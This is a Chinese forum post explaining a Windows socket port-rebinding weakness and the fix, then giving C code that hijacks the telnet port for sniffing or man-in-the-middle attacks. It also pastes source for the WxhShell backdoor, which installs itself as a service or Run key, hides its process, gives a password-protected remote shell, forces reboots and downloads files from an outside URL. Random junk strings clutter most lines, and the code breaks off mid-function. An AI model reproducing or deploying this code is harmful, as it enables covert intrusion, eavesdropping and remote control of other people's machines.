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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 11YpC;[o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @/W~lJ!e  
%4,v2K  
  saddr.sin_family = AF_INET; t.pn07$  
]$&N"&q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SX]uIkw  
k9m9IE"9=$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wAKm]?zB>  
.D{He9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &>A<{J@VL  
2(i| n=  
  这意味着什么?意味着可以进行如下的攻击: 0sfb$3y  
YR-Ge  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -gB9476-  
CmxQb,Uls  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _b"K,[0o  
y$y!{R@   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kp3%"i&hD  
} /*U~!t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p(6KJK\  
e+<'=_x {  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {Jc.49  
KBa ]s q_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xG WA5[YV  
N?2C*|%f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _=_<cg y1u  
G| b I$   
  #include 'E"W;#%  
  #include {I8C&GS  
  #include v>/_U  
  #include    +~$pkxD"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9Cz|?71  
  int main() nc^DFP  
  { iAo/Dnp2J  
  WORD wVersionRequested; UDW_?SHAx  
  DWORD ret; =2@ V}  
  WSADATA wsaData; K%ptRj$  
  BOOL val; `\$EPUM  
  SOCKADDR_IN saddr; Y_<-.?jf  
  SOCKADDR_IN scaddr; _tRRIW"Vx"  
  int err; _< KUa\  
  SOCKET s; :-Ml?:0_X  
  SOCKET sc; zbI|3  
  int caddsize; H128T8?r[  
  HANDLE mt; Lp) P7Yt-  
  DWORD tid;   _:]g:F[ #  
  wVersionRequested = MAKEWORD( 2, 2 ); 14DhJUV"b  
  err = WSAStartup( wVersionRequested, &wsaData );  <H npI  
  if ( err != 0 ) { G#fF("Ndu`  
  printf("error!WSAStartup failed!\n"); !/e*v>3u&  
  return -1; ( 8X^pL  
  } J7Mbv2D  
  saddr.sin_family = AF_INET; waU2C2!w  
   g`C\pdX"B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @N ]]Cf>x  
K#Zv>x!to  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cn Oh j  
  saddr.sin_port = htons(23); \CX6~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2 w6iqLr?  
  { /;kSa}"Q  
  printf("error!socket failed!\n"); fejC ,H4I  
  return -1; RO@=&3s  
  } 7"F29\  
  val = TRUE; ]GO=8$Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m VFo2^%v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v-BQ>-&s  
  { IdM~' Q>\  
  printf("error!setsockopt failed!\n"); SsPZva  
  return -1; rsq?4+\  
  } \!xCmQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 53 -O wjpx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jtUqrJFlQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u-_1)'  
Mo5b @ [  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l6 L?jiTl_  
  { )*`h)`\y  
  ret=GetLastError(); 3=yfbO<-  
  printf("error!bind failed!\n"); t cO{CI  
  return -1; k<5g  
  } }=}wLm#&1  
  listen(s,2); p!5'#\^f  
  while(1) s_a jA  
  { C}(@cn `L  
  caddsize = sizeof(scaddr); [Ky3WppR  
  //接受连接请求 Kk*8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); . !Pg)|  
  if(sc!=INVALID_SOCKET) .`Q^8|$-K  
  { %pxO<O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u88wSe<\X  
  if(mt==NULL) =~k c7f{  
  { 78Du  
  printf("Thread Creat Failed!\n"); 2:_6nWl  
  break; WN<g _8QR  
  } 7}g4ePYag  
  } Bp3E)l  
  CloseHandle(mt); 5 mC"8N1)  
  } yIrJaS-  
  closesocket(s); IvT><8<G  
  WSACleanup();  ?C#E_  
  return 0; fCwE1r*^  
  }   R(`:~@ 3\6  
  DWORD WINAPI ClientThread(LPVOID lpParam) 76wNZv) 9  
  { nYFrp)DLK  
  SOCKET ss = (SOCKET)lpParam; ICvV}%d  
  SOCKET sc; ZZ7qSyBs?  
  unsigned char buf[4096]; 0/b  _T  
  SOCKADDR_IN saddr; ,wwO0,"y7  
  long num; t* =[RS*  
  DWORD val;  UXs)$  
  DWORD ret; >WIc"y.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \ l#eW x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l6y}>]  
  saddr.sin_family = AF_INET; z -!w/Bv@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pK@=]K~l0  
  saddr.sin_port = htons(23); IQRuqp KL  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?%h$deJ  
  { V`1,s~"q  
  printf("error!socket failed!\n"); l2qvYNMw  
  return -1; ) ](ls@*  
  } )63 $,y-;$  
  val = 100; O=A2QykV(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H*'1bLzq  
  { 8o$rF7.-  
  ret = GetLastError(); [/CGV8+  
  return -1; njF$1? )sq  
  } &ASR2J  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {aUnOyX_  
  { n4/Wd?#`  
  ret = GetLastError(); MLu!8dgI  
  return -1; #GE]]7:Na  
  } gvA}s/   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7C|!Wno[;  
  { ( Jk& U8y  
  printf("error!socket connect failed!\n"); C/!.VMl^  
  closesocket(sc); /ce;-3+  
  closesocket(ss); kh5a>OX  
  return -1; ?T/]w-q>  
  } 9{*{Ba  
  while(1)  X0VS a{  
  { RpQeQM=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C9!t&<\ }  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,~1'L6Ri?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FH+X<  
  num = recv(ss,buf,4096,0); "bm|p/A  
  if(num>0) 0O9b 7F  
  send(sc,buf,num,0); qq/>E*~  
  else if(num==0) 7k( }U_v  
  break; >R+-mP!nj  
  num = recv(sc,buf,4096,0); *siX:?l  
  if(num>0) >A$L&8'C  
  send(ss,buf,num,0); &-3 e3)  
  else if(num==0) {p +&Q|  
  break; b=,B Le\  
  } Alxf;[s  
  closesocket(ss);  ]n!V  
  closesocket(sc); <]qNjsdb9"  
  return 0 ; =AIFu\9#a`  
  } 42NfD/"g+s  
Q$E.G63Wl  
*;fTiL  
========================================================== LwC?t3n  
o,*m,Qc  
下边附上一个代码,,WXhSHELL /)ZjI W"|  
@d WA1tM  
========================================================== b^/u9  
&C9IR,&  
#include "stdafx.h" n-Iz!;q  
.xT?%xSi/  
#include <stdio.h> q+?&w'8  
#include <string.h> .U!EA0B  
#include <windows.h> _3`G ZeGV  
#include <winsock2.h> ~H}Z;n]H  
#include <winsvc.h> kR<sSLEb  
#include <urlmon.h> kTL{Q0q  
oGcgd$%ZB  
#pragma comment (lib, "Ws2_32.lib") <Wn~s=  
#pragma comment (lib, "urlmon.lib") {7:1F)Pj  
'12m4quO  
#define MAX_USER   100 // 最大客户端连接数 +(+lbCW/  
#define BUF_SOCK   200 // sock buffer Z",0 $Gxu  
#define KEY_BUFF   255 // 输入 buffer G_F_TNO  
%J*1F  
#define REBOOT     0   // 重启 A;co1,]gR  
#define SHUTDOWN   1   // 关机 K)'[^V Xh  
]&8em1  
#define DEF_PORT   5000 // 监听端口 /@`"&@W'  
[<@L`ki  
#define REG_LEN     16   // 注册表键长度 x1@,k=qrd  
#define SVC_LEN     80   // NT服务名长度 `wi+/^);  
gq('8*S  
// 从dll定义API h% -=8l,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *).  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H k}P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 02]HwsvZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); so` \e^d  
WL+EpNKSf  
// wxhshell配置信息 =c6d $  
struct WSCFG { 4rhHvp  
  int ws_port;         // 监听端口 \n}%RD-Ce  
  char ws_passstr[REG_LEN]; // 口令 \#[DZOI~  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mc?_2<u-  
  char ws_regname[REG_LEN]; // 注册表键名 Jq^[^  
  char ws_svcname[REG_LEN]; // 服务名 `Am|9LOT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nk!uO^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |E6Thvl$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u&*[   
int ws_downexe;       // 下载执行标记, 1=yes 0=no DcxT6[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E?]$Y[KJKs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @.L#u#   
nzbVI  
}; $}4ao2  
remc_}`w  
// default Wxhshell configuration >FeCa h Fn  
struct WSCFG wscfg={DEF_PORT, @Mya|zb  
    "xuhuanlingzhe", 5B%KiE&p  
    1, %0&,_jM/9  
    "Wxhshell", [Vbd su9  
    "Wxhshell", ,L%]}8EL"  
            "WxhShell Service", d\-*Fmp(S  
    "Wrsky Windows CmdShell Service", WReHep  
    "Please Input Your Password: ", n%WjU)<  
  1, K7s[Fa6J  
  "http://www.wrsky.com/wxhshell.exe", mBL?2~M  
  "Wxhshell.exe" b|V <Kp  
    }; HMD\)vMK6  
26}3  
// 消息定义模块 2(uh7#Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `j {q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y /vc\e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _gH$ ,.j/  
char *msg_ws_ext="\n\rExit."; Swf%WuDj  
char *msg_ws_end="\n\rQuit."; E\}A<r  
char *msg_ws_boot="\n\rReboot..."; r7R39#  
char *msg_ws_poff="\n\rShutdown..."; $J4)z&%dr  
char *msg_ws_down="\n\rSave to "; H{*rV>%  
;pL!cG@  
char *msg_ws_err="\n\rErr!"; SP<(24zdd  
char *msg_ws_ok="\n\rOK!"; Y{~`g(~9_A  
jBEW("4R  
char ExeFile[MAX_PATH]; M4|ION  
int nUser = 0; ^$`mS&3/q  
HANDLE handles[MAX_USER]; O:'qwJ# ~  
int OsIsNt; O=LW[h!  
\>9^(N  
SERVICE_STATUS       serviceStatus; Z molL0y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y<HNAG j  
@[v,q_^8  
// 函数声明 8_wh9   
int Install(void); "1\GU1x  
int Uninstall(void); 3zmbx~| =\  
int DownloadFile(char *sURL, SOCKET wsh); (:]+IjnE  
int Boot(int flag); B&7:=t,m(  
void HideProc(void); K8&) kfyI  
int GetOsVer(void); Txl|F\nK`  
int Wxhshell(SOCKET wsl); b{&'r~  
void TalkWithClient(void *cs); 8*Fn02 p  
int CmdShell(SOCKET sock); iD cYyNE  
int StartFromService(void); # bjK]+  
int StartWxhshell(LPSTR lpCmdLine); p7{H "AC  
TC2%n\GH*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uF[*@N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e?7NW  
d"E3ypPK  
// 数据结构和表定义 sZ7,7E|_  
SERVICE_TABLE_ENTRY DispatchTable[] = E`xpZ>$mPx  
{ _Wk*h}x  
{wscfg.ws_svcname, NTServiceMain}, ]ZP!y  
{NULL, NULL} .nNZ dta&=  
}; $e4N4e2x/  
hi(e%da  
// 自我安装 1he5Zevm}  
int Install(void) RX_f[  
{ p(="73  
  char svExeFile[MAX_PATH]; 9Nna-}e?W  
  HKEY key; x)Zm5&"Gg  
  strcpy(svExeFile,ExeFile); PJ&L7   
\M|:EG%  
// 如果是win9x系统,修改注册表设为自启动 Tb;,t=;u  
if(!OsIsNt) { `'5vkO>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .v}|Tp&k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LXJ;8uW2y  
  RegCloseKey(key); aO(iKlZ$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {98e_z w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vf#d  
  RegCloseKey(key); 0s{7=Ef  
  return 0; tcRJ1:d  
    } KXl!VD,#`=  
  } 79}jK"Gc  
} O^6anUV0  
else { CCt\[hl  
-I6t ^$HA  
// 如果是NT以上系统,安装为系统服务 _Yp~Oj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |v : )9  
if (schSCManager!=0) zG/? wP"  
{ ."O%pL]!/b  
  SC_HANDLE schService = CreateService 7{w}0PMx  
  ( M=&,+#z<V  
  schSCManager, Wb cm1I)  
  wscfg.ws_svcname, E8R;S}P A  
  wscfg.ws_svcdisp, a]%s ks  
  SERVICE_ALL_ACCESS, :?y Ma$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .,#H]?Wil  
  SERVICE_AUTO_START, IoK/2Gp  
  SERVICE_ERROR_NORMAL, Px*<-t|R-  
  svExeFile, GP %hf{  
  NULL, [eOv fD  
  NULL, E]m?R 4  
  NULL, wsH_pF  
  NULL, nSBhz  
  NULL R?9x!@BV  
  ); Ar,n=obG  
  if (schService!=0) 0WSZhzNyY  
  { /Yg&:@L  
  CloseServiceHandle(schService); s0D4K  
  CloseServiceHandle(schSCManager); 9^8OIv?m8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &|RTLGwX  
  strcat(svExeFile,wscfg.ws_svcname); wD{c$TJ?{F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { esx/{j;<u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -MTYtw(  
  RegCloseKey(key); z,^~H  
  return 0;  O&|<2Qr  
    } ^->S7[N?  
  } +DR$>a  
  CloseServiceHandle(schSCManager); ey4.Hj#T  
} BL_0@<1X  
} 02*qf:kTnA  
#qDm)zCM  
return 1; u-4@[*^T$  
} cgQ6b.  
a\}MJ5]  
// 自我卸载 8,!Oup  
int Uninstall(void) %Pt){9b  
{ +0UBP7kn  
  HKEY key; vPz7*w  
,J!$Q0e  
if(!OsIsNt) { v}V[sIs}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ur>1eN%9'  
  RegDeleteValue(key,wscfg.ws_regname); ;`:YZ+2 Z  
  RegCloseKey(key); >X05f#c"v/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $GGaR x  
  RegDeleteValue(key,wscfg.ws_regname); Px \cT  
  RegCloseKey(key); SZHgXl3:  
  return 0; +s"6[\H1d  
  } HBtk)  
} \i%mokfbc  
} 3)\fZYu)  
else { )hj:Xpj9#  
xSK#ovH2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bSX/)')jU  
if (schSCManager!=0) Y-YuY  
{ PMB4]p%o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T+$H[ &j  
  if (schService!=0) VLkAsM5}%  
  { @CL#B98jl  
  if(DeleteService(schService)!=0) { FC, =g`Q!  
  CloseServiceHandle(schService); Kmx^\vDs  
  CloseServiceHandle(schSCManager); V<H9KA  
  return 0; D5?8`U m=  
  } }>u `8'2v  
  CloseServiceHandle(schService); ;' uQBx}  
  } 5j1d=h  
  CloseServiceHandle(schSCManager); 'Uf?-t*LT@  
} &gY) x{  
} Z}dK6h5+'  
)&7. E  
return 1; 4#03x:/<\  
} t n5  
E3wL n/<  
// 从指定url下载文件 !ou#g5Q@z  
int DownloadFile(char *sURL, SOCKET wsh) r%ES#\L6+|  
{ $Xu3s~:S  
  HRESULT hr; UGhEaKH~R  
char seps[]= "/"; cA q3Gh  
char *token; cZ?QI6|[  
char *file; fj5 g\m  
char myURL[MAX_PATH]; J @"#  
char myFILE[MAX_PATH]; p1Zb&:+  
^}d]O(  
strcpy(myURL,sURL); .="X vVdkp  
  token=strtok(myURL,seps); 8I#ir4z#<  
  while(token!=NULL) "+"=iwEAz  
  { \@:,A]  
    file=token; Y7VO:o  
  token=strtok(NULL,seps); zzQWHg]/  
  } PX 8UVA  
uPA ( 1  
GetCurrentDirectory(MAX_PATH,myFILE); e /JQ #A  
strcat(myFILE, "\\"); |:=o\eu&  
strcat(myFILE, file); @dDeOnF  
  send(wsh,myFILE,strlen(myFILE),0); KT(Z #$  
send(wsh,"...",3,0); d]l8ei@>h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c0@8KW[,  
  if(hr==S_OK) 7w/IHML  
return 0; &[.`xZ(|  
else 7C{ y NX#  
return 1; q!5:M\  
8vY-bm,e  
} }~XWtWbd-  
BPba3G9H  
// 系统电源模块 K T}  
int Boot(int flag) *glZb;_  
{ *x"80UXL  
  HANDLE hToken; '-;[8:y.  
  TOKEN_PRIVILEGES tkp; w )R5P[b  
$1an#~  
  if(OsIsNt) { B[t^u\Fk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~7P)$[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,BU;i%G&s  
    tkp.PrivilegeCount = 1; W(s4R,j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i q(PC3e`V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cj/`m$  
if(flag==REBOOT) { >gk_klLh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :S+K\  
  return 0; |cPHl+$nh.  
} !_<6}:ZB  
else { Ey46JO"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n +~Dc[  
  return 0; G6sK3K  
} BX,)G HE  
  } Sqo+cZ  
  else { 1o_kY"D<  
if(flag==REBOOT) { }]?Si6_ZZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AlSO  
  return 0; $B+| &]a  
} n_8[bkbi  
else { )D)5 `n)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K2x[ApS#  
  return 0; k*.]*]   
} N%y i4  
} Y ::0v@&(  
l\HdB"nT  
return 1; }I"C4'(a  
} <qCa 9@Ea  
g*| j+<:7  
// win9x进程隐藏模块 L[` l80  
void HideProc(void) --$o$EP`  
{ fV(3RG  
NWBYpGZx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Nkdv'e\  
  if ( hKernel != NULL ) !liV Y]  
  { L+%"e w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yC,/R371k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); INZVe(z  
    FreeLibrary(hKernel); K~x,so  
  } 8s%/5v"  
E_HB[ 9  
return; CUA @CZ6{  
} &c`-/8c  
TBhM^\z  
// 获取操作系统版本 BxY t*b%  
int GetOsVer(void) %B3~t>  
{ bQll;U^A  
  OSVERSIONINFO winfo; T:|/ux3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3P>gDQP  
  GetVersionEx(&winfo); 5/48w-fnZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A 5?"  
  return 1; '[F:uA  
  else #c!:&9oU  
  return 0; tiK?VwaKI  
} )n/%P4l  
CU$kh z"  
// 客户端句柄模块 bIKg>U'5d  
int Wxhshell(SOCKET wsl) &{iC:zp  
{ Vs>Pv$kW  
  SOCKET wsh; b^Hr zn  
  struct sockaddr_in client; ,CO2d)}  
  DWORD myID; fS]& ?$q  
Iw1Y?Qia  
  while(nUser<MAX_USER) > =>/~dIb  
{ @|!4X(2  
  int nSize=sizeof(client); ~{c ?-qb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yr]ja-Y  
  if(wsh==INVALID_SOCKET) return 1; WSThhI  
g14*6O:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7AG|'s['=  
if(handles[nUser]==0) ]{-.?W*$  
  closesocket(wsh); p< R:[rz  
else 3f|}p{3  
  nUser++; a|ftl&uk  
  } c0Ug5Vr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ! VwU=5  
PN}+LOD<t  
  return 0; GqFx^dY4*  
} 5<?Ah+1  
E}^V@ :j>  
// 关闭 socket npP C;KD  
void CloseIt(SOCKET wsh) =;Id["+  
{ lED!}h'4  
closesocket(wsh); A`c22Ls]  
nUser--; G1:}{a5i_  
ExitThread(0); %cNN<x8  
} hW7u#PY  
pP\Cwo #,  
// 客户端请求句柄 01bCP  
void TalkWithClient(void *cs) 0'q4=!l  
{ >Wg= Tuef  
:cpj{v;s  
  SOCKET wsh=(SOCKET)cs; ,n|si#  
  char pwd[SVC_LEN]; za l]t$z>  
  char cmd[KEY_BUFF]; jKSj);  
char chr[1]; $ m`Dyu  
int i,j; zcpL[@B  
YMGy-]!o  
  while (nUser < MAX_USER) { ~Ps*i]n(  
N,t9X7G&  
if(wscfg.ws_passstr) { T/$ gnn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QE]@xLz   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = XZU9df  
  //ZeroMemory(pwd,KEY_BUFF); tldT(E6  
      i=0; $`pf!b2Z  
  while(i<SVC_LEN) { +in)(a.  
wl=tN{R  
  // 设置超时 K5>3  
  fd_set FdRead; SX3'|'-  
  struct timeval TimeOut; :J;U~emq  
  FD_ZERO(&FdRead); zzG=!JR  
  FD_SET(wsh,&FdRead); H`[FC|RYyE  
  TimeOut.tv_sec=8; {uDW<u_!  
  TimeOut.tv_usec=0; (}#&HE<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o)Q4+njT@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gI:g/ R  
0'&C5v'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N'1I6e"  
  pwd=chr[0]; \e a*  
  if(chr[0]==0xd || chr[0]==0xa) { (>`_N%_  
  pwd=0; hV3]1E21"  
  break; D5zc{) /  
  } &BVUK"}P  
  i++; -e_fn&2,Y  
    } q/U-WQ<+  
a[ULSYEi  
  // 如果是非法用户,关闭 socket 0jp].''RK\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K#FD$,c~  
} ]t[%.^5#  
BKFO^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DksYKv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Ga'_P:  
cT(nKHL  
while(1) { /fQcrd7h  
5{H)r   
  ZeroMemory(cmd,KEY_BUFF); d% EdvM|)  
]H`wE_2tu  
      // 自动支持客户端 telnet标准   rpk8  
  j=0; PpRS4*nR  
  while(j<KEY_BUFF) { +;,{`*W+N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &zn|),  
  cmd[j]=chr[0]; V7$ m.P#uM  
  if(chr[0]==0xa || chr[0]==0xd) { lh-.I]>&`  
  cmd[j]=0; 9G6)ja?W  
  break; /OKp(u;)z  
  }  2_$8Ga  
  j++; \:'GAByy  
    } c coi  
x ]VycS  
  // 下载文件 +5fB?0D;  
  if(strstr(cmd,"http://")) { n3e,vP? R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DzC`yWstP  
  if(DownloadFile(cmd,wsh)) g.\b@0Uy'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}dlQkZ(  
  else tFcQ.1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X8}r= K~  
  } ->#wDL!6  
  else { fD%/]`y  
_9oKW;7f7  
    switch(cmd[0]) { <mX5VGY9^  
  "'B DVxp'w  
  // 帮助 ~ESw* 6s9  
  case '?': { b$w66q8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K-YxZAf  
    break; 2?(/$F9X,  
  } 2k!uk6  
  // 安装 /{({f?k<\/  
  case 'i': { .(&6gB  
    if(Install()) 6cg,L:j#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N+V#=U y  
    else QM!UMqdj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8V(~u^!%_  
    break; "eoPG#]&  
    } Z9m I%sC[(  
  // 卸载 &tkPZ*}#1  
  case 'r': { i K@RQi  
    if(Uninstall()) iMry0z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TrZ!E`~  
    else 0gyvRM@ x[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C&F% j.<  
    break; oe6Ex5h  
    } $_%  
  // 显示 wxhshell 所在路径 &=zJ MGa  
  case 'p': { Jv(E '"H  
    char svExeFile[MAX_PATH]; ,>g( %3C  
    strcpy(svExeFile,"\n\r"); c[1{>z{G  
      strcat(svExeFile,ExeFile); 0$XrtnM  
        send(wsh,svExeFile,strlen(svExeFile),0); / /G&=i$  
    break; B8cg[;e81  
    } 2+|r*2_glo  
  // 重启 2AqcabI9  
  case 'b': { `U?S 9m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KW0KXO06a  
    if(Boot(REBOOT)) 7 |Qb}[s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q q^[(n  
    else { GNG.N)q#C  
    closesocket(wsh); >iJxq6!  
    ExitThread(0); yl<=_Q  
    } 4P2p|Gc3  
    break; R]kH$0`  
    } uxrNkZia  
  // 关机 _#<l -R`  
  case 'd': { Q<osYO{l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yYC\a7Al4  
    if(Boot(SHUTDOWN)) }WQ:Rmi  
